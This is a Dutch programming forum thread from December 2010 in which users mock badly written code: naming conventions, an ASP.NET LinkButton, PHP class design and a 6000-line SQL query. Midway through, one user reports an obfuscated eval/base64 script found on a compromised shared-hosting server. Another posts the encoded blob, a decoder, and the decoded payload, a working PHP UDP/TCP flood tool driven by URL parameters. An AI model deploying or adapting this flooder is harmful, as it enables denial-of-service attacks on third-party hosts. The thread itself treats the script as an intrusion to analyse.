[ Voor 57% gewijzigd door CodeCaster op 13-12-2010 11:04 ]

[Matis]

418O2 schreef op maandag 13 december 2010 @ 10:41:
Dit brengt mij op 1 van mijn grootste ergenissen: collega's die typfouten maken in variabelen en dat niet herstellen. Ik haat dat echt. Hoe moeilijk kan het zijn. Vooral met de huidige IDE's.

Mja, dit was dan ook zo uit de losse pols geklopt, er moet idd nog een t bij

[Alex)]

CodeCaster schreef op maandag 13 december 2010 @ 10:41:
[...]

Mijn WTF van de dag:

C#:

        // wachtwoord vergeten
        protected void lbWachtwoord_Click(object sender, System.EventArgs e)
        {
            System.Configuration.AppSettingsReader _ASRLoginUrl = new System.Configuration.AppSettingsReader();
            string loginUrl = (string)_ASRLoginUrl.GetValue("MainUrl", typeof(string));

            Response.Redirect(loginUrl + "wachtwoordvergeten.aspx");
        }

Een naming convention die nergens op slaat (lokale variabele beginnen met underscore? Iets met klok en klepel), überhaupt een referentie in een variabele stoppen voor iets wat je eenmalig gebruikt (doe dan gewoon loginUrl = new AppsettinsReader().GetValue() ), willen redirecten met de volledige URI inclusief hostname (wat is er gebeurd met Response.Redirect("/wachtwoordvergeten.aspx")? ), en sowieso, ASP.NET

In plaats van '<a href="/wachtwoordvergeten.aspx" class="linkButton">Wachtwoord vergeten</a>', zoals ik zo lekker clean van diverse PHP-frameworks gewend was, wordt er een hele sloot html en js uitgepoept waardoor simpele dingen als navigatieknoppen niet eens gegarandeerd cross-browser werken, laat staan wanneer JS uitgeschakeld is...

Gebruik van een linkbutton heeft alleen zin in bepaalde gevallen, dit is er duidelijk niet eentje. Gewoon een <a href> in je markup is meer dan voldoende in dit geval, of een asp:HyperLink. asp:LinkButton is seriously gigantisch overdreven, agreed. Dat is echter geen tekortkoming van ASP.NET, maar van de auteur van het oorspronkelijke stukje code.

ASP.NET heeft de nodige WTF's (vooral die Page Life Cycle is een hoofdbreker soms) maar dit is er niet eentje van.

[.oisyn]

418O2 schreef op maandag 13 december 2010 @ 10:41:
[...]

Dit brengt mij op 1 van mijn grootste ergenissen: collega's die typfouten maken in variabelen en dat niet herstellen. Ik haat dat echt. Hoe moeilijk kan het zijn. Vooral met de huidige IDE's.

Tja...

[418O2]

Matis schreef op maandag 13 december 2010 @ 10:57:
[...]

Mja, dit was dan ook zo uit de losse pols geklopt, er moet idd nog een t bij

Dat je dat op een forum doet is wel begrijpelijk, maar in serieuze code staat het me echt tegen.

[Dido]

418O2 schreef op maandag 13 december 2010 @ 11:49:
Dat je dat op een forum doet is wel begrijpelijk, maar in serieuze code staat het me echt tegen.

Ach, ik maakte ooit een gedetaillerd technisch ontwerp voor iemand, die programmeerde vervolgens alle door mij voorgestelde variabelen met de door mij verzonnen namen in de code. Inclusief tikfouten

Dan heb je toch vagelijk het idee dat de programmeur niet helemaal begrijpt waar ie mee bezig is

[Tsunami]

CodeCaster schreef op maandag 13 december 2010 @ 10:41:
(lokale variabele beginnen met underscore? Iets met klok en klepel)

Prefixen met een underscore snap ik wel beter in zo'n situatie:

PHP:

$language  = $registry->settings->language;
$languages = $registry->languages;

foreach($languages as $language)
{
  if($language == $language) // Oeps...
}

Of zelfs als je geen vergelijking doet, is $language keihard overschreven na je foreach-loop.
Iemand nog tips of een mooie naming convention daarvoor?

[Jan_V]

Tsunami schreef op dinsdag 14 december 2010 @ 19:19:
[...]

Of zelfs als je geen vergelijking doet, is $language keihard overschreven na je foreach-loop.
Iemand nog tips of een mooie naming convention daarvoor?

Andere variabele namen kiezen
Of de class variabelen laten beginnen met een underscore, maar in ieder geval niet de lokale.

[mithras]

Tsunami schreef op dinsdag 14 december 2010 @ 19:19:
[...]

Iemand nog tips of een mooie naming convention daarvoor?

De language die in het registry staat als registeredLanguage of currentLanguage benoemen. Andere optie is om de languages als languageList te maken. Dan kan je er doorheen lopen als:

PHP:

foreach ($languageList as $item) {
  if ($language == $item) {/* */}
}

[CodeCaster]

Tsunami schreef op dinsdag 14 december 2010 @ 19:19:
[...]

Prefixen met een underscore snap ik wel beter in zo'n situatie:

PHP:

$language  = $registry->settings->language;
$languages = $registry->languages;

foreach($languages as $language)
{
  if($language == $language) // Oeps...
}

Of zelfs als je geen vergelijking doet, is $language keihard overschreven na je foreach-loop.
Iemand nog tips of een mooie naming convention daarvoor?

Of gewoon:

PHP:

foreach($languages as $l)
{
  if($l == $language)
  ...
}

Het is toch maar een short-scoped variabele, als je daar heel veel code tussen hebt staan is de code toch al niet optimaal

[ Voor 14% gewijzigd door CodeCaster op 14-12-2010 20:14 ]

[g4wx3]

*geschreven uit losse pols

PHP:

class FORM
{
     function __construct()
     {
          $this->widgets = array();
     }
     function new_widget($form_object)
     {
           $this->widgets[] = $form_object;
           $this->$form_object = new WIDGET;
     }
}
class WIDGET
{
// ........
}

$form = new FORM
$form->new_widget('widgets');
$form->widgets->set_label('widgets:');
$form->widgets->set_type('text');
$form->widgets->set_value('default_value');

$form->new_widget('button');
$form->button->set_type('button');
$form->button->set_value('Save languages');

In de class FORM wordt intern al een variabele gebruikt widgets. Echter kan men toevallig dezelfde naam wensen voor een var in het php script, waardoor je de var in je class gaat overschrijven, met als gevolg dat je class niet meer werkt.
Daarom prefix ik vars in een class altijd met een underscore

[YopY]

Had zelf eens een tiepvaudt in een redelijk snel inelkaar geflanste webservice (decription ipv description, volgens mij). Was teveel moeite om het op te lossen, ook omdat het al in de client applicatie (een flash dingetje) zo geimplementeerd was .

[Freeaqingme]

Ik kom zojuist dit scriptje tegen op een van onze servers (verbruik ging van een Gig per dag gemiddeld naar 1.5 Gib per uur):

<?php eval(gzinflate(str_rot13(base64_decode('DdFUsptXlange base 64 encoded stringw=='))));

Overmatig gebruik van eval, code onleesbaar, geen zichtbare coding standards, etc.

[ Voor 66% gewijzigd door Woy op 31-12-2010 16:30 . Reden: Layout werd uitgerekt. ]

[Tharulerz]

Grappig, precies een soort Quine

[g4wx3]

met een beetje moeite heb ik het dan toch kunnen decoderen

PHP:

    ignore_user_abort(TRUE);
    set_time_limit(0);
if (isset($_GET['type'])) {
    if ($_GET['type'] == 'syn') {
        $schema = 'tcp://';
    }else{
        $schema = 'udp://';
    }
    } else {
    $schema = 'udp://';
    }
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
    $out='';
    $pakits = 0;
    $exec_time = $_GET['time'];
    $time = time();
    $max_time = $time+$exec_time;
    $host = $_GET['host'];
    for($i=0;$i<65000;$i++){
            $out .= 'X';
    }
    while(1){
    $pakits++;
            if(time() > $max_time){
                    break;
            }
            if ($_GET['port'] == "rand") {
            $rand = rand(1,65000);
            }else{
            $rand = $_GET['port']; }
            $fp = fsockopen($schema.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }
    echo "<br><b>Flood</b><br>Completed with $pakits (" . round((($pakits*65)/1024)/$exec_time, 2) . " MB per second) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";

}else{ echo '&nbsp;';
}

decodeer script:

PHP:

<?php
$uncode = 'DdFUsptXAEDR5fj9b0AUiGVsQI6tQBMEExehgRbQVXF29d9qCeeiLe9/mi8maJ8v6HRepr/TuLD8QpHPVRT+SagcK/TzWC/NqHstiqLoyolbKhs0zgeXnwgIziP+aZ6qstij+Eiccoun8vW0vU5ti78HTXi5zIQ10Ahupml7FbCMWBhF9Mvx/Lahu8KUY9VryYBSNdBGW7EQWsJ3MGMeqEce3hXiEr9mTp7KnyNmmCizj8QldUuNujB48BZAR2jYpfBSUDW3lHgf9KNC8rBjGri5VA9lTr8JKgaqPDb2ab7D9g1sfSTylrnJNLhjc+erfkRBfSa//LlBkQtzmsm7K28Xq7Tf8qIaFe6PtYIHr6Ma7exuf33BKvJi7UHAe8o+gcD3S0Bb1SMM21S8nBAaqGAAoi1ZRMopsipskbSGudhonGR6ZyNiWQ54WjcQXMfwlvpC8nOBa3s47f7CxebJ1zgYJS8x6lrpnY7My7acRYkhEe1s3LC3DMUfwWMFlMxeJsbQxUSqo12Xdjna1WPf0xlOuWDZlKouwuscl+Wcizmsh2oFqBX/OzoSQevjW/vP0Eo87f5nZGSgm9Tp/qjtl9KeC8vyXhQorcZ3+qbQb+8b60keK6wmYjAe7HhwELDV8GeQXe3RY1Xn4WZYQqMkqe3GrjkyphbajpbpScCWpsY7ny+UsqGa3wZDHz37XVP9aTXLJK/UwPSmC1jCjKfwPKsviKcS4I/z8MSny/O7rvX+AUTFuqyJ6PUj7PjUf11CcLJhRvXxiFE67QIY7LLCbWcD5n13jIKnITF65+NokBl6Oz1mhLNGGZ4/eKGQxbDuXCIOBRCyVcLcfX2wpwuDM1RXq8LPrK4Uhk3ixWbJfRI3EapdZYjoPAzuvjG39dlISU7ypuPNKRn5cn/byHOCGd/t9owLbYjeCb3Hk9k4rejO6pNawf5ncyeg+nw6vnZhC/QUU6QwocneG76lqFA0DPouov2I02SnwvRu9EeyXbE8akhUuKozy2V6nxe624/L+IwfTSFGNF0Te//z59d///r9Pw==';


for($i=1;$i<= 10;$i++)
{
    $result = base64_decode($uncode);
    $result = str_rot13($result);
    $result = gzinflate($result);

    $uncode = explode("'",$result);
    $uncode = $uncode[1];

    echo  $result . "\r\n\r\n";

}

?>

[Verwijderd]

Duidelijk, je server is overgenomen door de l33t h4x0rs van Anonymous!

[HuHu]

Freeaqingme schreef op woensdag 15 december 2010 @ 04:34:
Ik kom zojuist dit scriptje tegen op een van onze servers (verbruik ging van een Gig per dag gemiddeld naar 1.5 Gib per uur):

[...]


Overmatig gebruik van eval, code onleesbaar, geen zichtbare coding standards, etc.

Draai je op e107? Er zijn meer mensen gehacked namelijk met deze code.

[FragFrog]

g4wx3 schreef op dinsdag 14 december 2010 @ 23:11:
[/code]
In de class FORM wordt intern al een variabele gebruikt widgets. Echter kan men toevallig dezelfde naam wensen voor een var in het php script, waardoor je de var in je class gaat overschrijven, met als gevolg dat je class niet meer werkt.
Daarom prefix ik vars in een class altijd met een underscore

Erm, dat is dan ook gewoon ranzige code (en dit topic niet onwaardig). Je kan het ook gruwelijk eenvoudig oplossen:

PHP:

class FORM
{
    private $widgets = array(); // Class variabelen hoor je gewoon te declaren.

    public function new_widget($form_object)
    {
        $this -> widgets[$form_object] = $form_object;
    }

    public function __get ($form_object)
    {
        return $this -> widgets[$form_object];  // Check toevoegen of'ie wel geset is als je het netjes doet.
    }
}

Vooropgesteld dat je daadwerkelijk het object als identifier wilt gebruiken (wat kan, als je een __toString() methode implementeert in je form_object, dus vooruit) heb je zo prima variabelen die je makkelijk terug krijgt, zonder enig risico whatsoever dat je een class variabele overschrijft. Ze prefixen met een underscore is een ranzige fix voor een probleem wat je niet zou hebben als je wat nettere code schrijft (en dus private variabelen ook private maakt, etc).

Zodra je iets ziet als

PHP:

$object -> $variabele = waarde;

zouden er eigenlijk al alarmbelletjes moeten gaan rinkelen. Het is maar heel zelden nodig en het zorgt geregeld voor problemen - zoals weer eens gedemonstreert is.

[ Voor 9% gewijzigd door FragFrog op 15-12-2010 11:12 ]

[PiepPiep]

Mooie tip trouwens om beter te programmeren :

Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live

[Gamebuster]

PiepPiep schreef op woensdag 15 december 2010 @ 13:30:
Mooie tip trouwens om beter te programmeren :

[...]

moest lachen

[Flapmo]

PiepPiep schreef op woensdag 15 december 2010 @ 13:30:
Mooie tip trouwens om beter te programmeren :

[...]

Waarom moest ik hier aan denken :+:

[ Voor 18% gewijzigd door Flapmo op 15-12-2010 14:15 ]

[Freeaqingme]

HuHu schreef op woensdag 15 december 2010 @ 08:13:
[...]

Draai je op e107? Er zijn meer mensen gehacked namelijk met deze code.

nee, klant (shared hostingj had een trojan op z'n pc.

[g4wx3]

FragFrog schreef op woensdag 15 december 2010 @ 11:08:
[...]

Erm, dat is dan ook gewoon ranzige code (en dit topic niet onwaardig). Je kan het ook gruwelijk eenvoudig oplossen:

PHP:

class FORM
{
    private $widgets = array(); // Class variabelen hoor je gewoon te declaren.

    public function new_widget($form_object)
    {
        $this -> widgets[$form_object] = $form_object;
    }

    public function __get ($form_object)
    {
        return $this -> widgets[$form_object];  // Check toevoegen of'ie wel geset is als je het netjes doet.
    }
}

Vooropgesteld dat je daadwerkelijk het object als identifier wilt gebruiken (wat kan, als je een __toString() methode implementeert in je form_object, dus vooruit) heb je zo prima variabelen die je makkelijk terug krijgt, zonder enig risico whatsoever dat je een class variabele overschrijft. Ze prefixen met een underscore is een ranzige fix voor een probleem wat je niet zou hebben als je wat nettere code schrijft (en dus private variabelen ook private maakt, etc).

Zodra je iets ziet als

PHP:

$object -> $variabele = waarde;

zouden er eigenlijk al alarmbelletjes moeten gaan rinkelen. Het is maar heel zelden nodig en het zorgt geregeld voor problemen - zoals weer eens gedemonstreert is.

Ik leer graag bij, programeren is een hobby heb tijdens mijn chemie-opleiding nooit les gehad ervan.
In jou script maak je geen nieuwe instant aan van de class WIDGET??

ik zie maar 2 oplossingen
1 ofwel zet ik alle nieuwe instants van WIDGET in een array, en roep ik ze zo aan
2 ofwel maak ik eerst de WIDGET, en voeg ik ze daarna toe aan de FORM
* de class WIDGET samenvoegen met de class FORM is geen optie

Beide oplossingen maken de class net wat ingewikkelder.
Nu gaat dit zo:
form_naam = new FORM
form_naam->setter()
form_naam->new_widget(widget_naam)
form_naam->widget_naam->setter()

heel eenvoudig in gebruik. Alleen die laatste regel zorgt dus voor problemen
Als het anders moet kan het alleen meer zo:

Optie 1 *Ik denk zelfs dat deze code niet werkt
form_naam->get_widget(widget_naam)->setter()
form_naam->widget[widget_naam]->setter()

Optie 2 Dit zou wel nog voordelen kunnen hebben
widget_naam = new widget
widget_naam->setters
form_naam->add_widget(widget_naam)

De huidige manier is wel veel eenvoudiger, nietwaar?
Bij het zoeken naar een makkelijkere manier om formulieren te maken in php kwam ik op OOP. Mijn form-classe is van het eerste uur dat ik OOP heb geleerd. De classe is ondertussen vrij compleet en werkt verrukkelijk. Er komt wel een dag dat ik deze veel netter wil herschrijven vanwege bepaalde tekortkomingen in het huidig ontwerp.

[burne]

Hoe selecteer je een 'leeg' id voor een nieuwe customer?

Deze oplossing is van een klant:

code:

SELECT * FROM
    customer
WHERE id_customer != '4' AND `id_customer` !='10' AND
`id_customer` !='11' AND `id_customer` !='13' AND `id_customer` !='14' AND

*knip* 6000! regels

code:

!='13846' AND `id_customer` !='13847' AND `id_customer` !='13848' AND
`id_customer` !='13849' AND `id_customer` !='13850' AND `id_customer`
!='13851' AND `id_customer` !='13852' ;

Als jullie uitgelachen zijn zal ik 'm even verder inkorten

[ Voor 98% gewijzigd door burne op 16-12-2010 11:06 ]

[Avalaxy]

Omg, prachtig Is het met de hand getypt?

[Domdo]

Je zou maar 13854 klanten hebben

[g4wx3]

Snap echt niet dat iemand dit zo heeft gemaakt, en het dan ook nog zo durft te tonen!

En wat het je gedaan? het script met 4999 regels ingekort?

[Gamebuster]

hahaha, best query ever

wat zal de performance zijn

Avalaxy schreef op woensdag 15 december 2010 @ 23:54:
Omg, prachtig Is het met de hand getypt?

moet wel een copy/paste koning zijn dan

[ Voor 102% gewijzigd door Gamebuster op 16-12-2010 00:42 ]

[burne]

Avalaxy schreef op woensdag 15 december 2010 @ 23:54:
Omg, prachtig Is het met de hand getypt?

Ik gok van niet, want na iedere nieuwe klant komt er een nieuwere klant.

g4wx3 schreef op donderdag 16 december 2010 @ 00:17:
Snap echt niet dat iemand dit zo heeft gemaakt, en het dan ook nog zo durft te tonen!

En wat het je gedaan? het script met 4999 regels ingekort?

Ik ga morgen de klant eens uitleggen wat het voordeel van UNIQUE is.

Gamebuster schreef op donderdag 16 december 2010 @ 00:34:
wat zal de performance zijn

Een minuut of drie, waarvan het overgrote deel in de query-optimizer.

[ Voor 16% gewijzigd door burne op 16-12-2010 00:50 ]

[pieturp]

burne schreef op woensdag 15 december 2010 @ 23:48:
Hoe selecteer je een 'leeg' id voor een nieuwe customer?

OMGWTFBBQ!!

[djluc]

Haha, in de code zal het vast wel meevallen, tot je gaat nadenken:

PHP:

$customers=array(1,2,4,5,12);

$sql="SELECT * FROM
    customer
WHERE 1=1";
foreach($customers AS $id) {
  $sql.=" AND id_customer!=".$id;
}

Als je de query toont krijg je hele andere beelden

[Haan]

Dit is ook een mooie:
http://ns.nl/actuele-vertrektijden/main.action

Voer dan een plaats in met spatie ervoor of -achter, dan vindt ie de plaats niet

[!null]

Een mooie WTF van mezelf van zo'n 7 jaar geleden schat ik in. Heb ik een IIF functie geschreven (die had ik ergens gezien en vond ik erg handig om inline te gebruiken) die niets anders doet dan een inline if-statement met ternary operation. Ik wist toen blijkbaar niet dat dat gewoon bestond.

PiepPiep schreef op woensdag 15 december 2010 @ 13:30:
Mooie tip trouwens om beter te programmeren :

[...]

Ja wel mooi. Maar ik heb ook een klant die ik liever kwijt dan rijk ben (inmiddels), en als ik dat project overdraag aan iemand zal hij zich doodschrikken. Er is ooit voor veel te veel geld een site geleverd die niet alleen lelijk was, maar ook een CMS from hell had. Wil je een fotootje bij dit item uploaden? dat kan, maar alleen per set van 6. Wil je een foto van die 6 veranderen? alles opnieuw! En allerlei andere ellende, het was ook een hel om mee te werken. Toen kwam ik in beeld en heb het CMS flexibel en werkbaar gemaakt.
Maar het geheel is nog steeds gebaseerd op die rotzooi, met slechte architectuur (of gebrek aan architectuur). De code ziet er werkelijk niet uit, en het is te veel werk om het netjes te maken (klant accepteert ook geen rekening van aantal honderd euro waar hij niks voor terug ziet) maar de partij die het na mij zal onderhouden zal alleen maar concluderen dat ik heel slecht bezig ben geweest. Dus lekker slecht voor mijn naam. Maar goed, misschien kan ik het hele verhaal wel overbrengen.

[ Voor 5% gewijzigd door !null op 16-12-2010 08:58 ]

[ajakkes]

!null schreef op donderdag 16 december 2010 @ 08:58:
Dus lekker slecht voor mijn naam. Maar goed, misschien kan ik het hele verhaal wel overbrengen.

Index.php

PHP:

<?php
// Succes met de code, ik kon er ook geen touw aan vastknopen, maar je moet wat.

Zoiets?